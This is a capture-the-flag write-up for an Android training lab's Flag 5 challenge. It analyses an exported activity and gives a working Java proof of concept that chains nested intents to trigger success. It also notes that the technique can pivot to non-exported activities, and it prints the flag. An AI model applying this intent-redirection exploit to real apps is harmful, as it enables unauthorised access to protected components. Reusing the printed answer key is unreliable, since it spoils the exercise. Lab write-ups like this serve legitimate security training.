Static Analysis

AndroidManifest.xml

Upon inspecting the Flag3Activity in the AndroidManifest.xml file we see the following

<activity  
	android:name="io.hextree.attacksurface.activities.Flag5Activity"  
	android:exported="true"/>

Since exported is set to true we can call this activity from our exploit apk, let’s review the code to see how can we get the flag

Flag5Activity Class

public class Flag5Activity extends AppCompactActivity {  
    Intent nextIntent = null;  
  
    public Flag5Activity() {  
        this.name = "Flag 5 - Intent in intent";  
        this.flag = "Ffhbk756vZdA32t/W7TJh/fG5b4BX8d4VINhZXi5pKioI+oVxQcLW+LIe+qyVYdT";  
    }  
  
    @Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity  
    protected void onCreate(Bundle bundle) {  
        super.onCreate(bundle);  
        this.f = new LogHelper(this);  
        Intent intent = getIntent();  
        Intent intent2 = (Intent) intent.getParcelableExtra("android.intent.extra.INTENT");  
        if (intent2 == null || intent2.getIntExtra("return", -1) != 42) {  
            return;  
        }  
        this.f.addTag(42);  
        Intent intent3 = (Intent) intent2.getParcelableExtra("nextIntent");  
        this.nextIntent = intent3;  
        if (intent3 == null || intent3.getStringExtra("reason") == null) {  
            return;  
        }  
        this.f.addTag("nextIntent");  
        if (this.nextIntent.getStringExtra("reason").equals("back")) {  
            this.f.addTag(this.nextIntent.getStringExtra("reason"));  
            success(this);  
        } else if (this.nextIntent.getStringExtra("reason").equals("next")) {  
            intent.replaceExtras(new Bundle());  
            startActivity(this.nextIntent);  
        }  
    }  
}

Upon reviewing the code we notice that in order to get the flag we need to use nested intents (intent inside another intent) Here we need 3 intents:

  1. intent1 This will hold intent2 in an extra called android.intent.extra.INTENT
  2. intent2 This will hold two things:
    • return extra with value 42
    • nextIntent extra that will hold intent3
  3. intent3 This will hold reason extra with value back in order to get the flag

Notice that if the reason extra inside intent3 had the value next it can fire an intent, this will help us pivot to any activities that’s not exported

Creating POC

After reviewing the code we now know exactly what to do so let’s create a button in our Exploit APK to do it:

Button button = findViewById(R.id.button_flag5);
button.setOnClickListener(new View.OnClickListener() {
	@Override
	public void onClick(View v) {
		Log.v("HEXTREE", "Going to flag 5 activity");
 
		// Create the third intent which carries the "reason" extra
		Intent intent3 = new Intent();
		intent3.putExtra("reason", "back"); // This will trigger success in Flag5Activity
 
		// Create the second intent and add the third intent inside it and the return with value of 42
		Intent intent2 = new Intent();
		intent2.putExtra("nextIntent", intent3); // Pass the third intent inside the second one
		intent2.putExtra("return", 42); // This should match the expected condition in Flag5Activity
 
		// Create the first intent and add the second intent inside it
		Intent intent1 = new Intent();
		intent1.putExtra("android.intent.extra.INTENT", intent2); // Pass the second intent inside the first one
 
		// Start Flag5Activity with the nested intents
		intent1.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity"));
		startActivity(intent1);
	}
});

Flag

HXT{intent-in-intent-in-intent-298abso}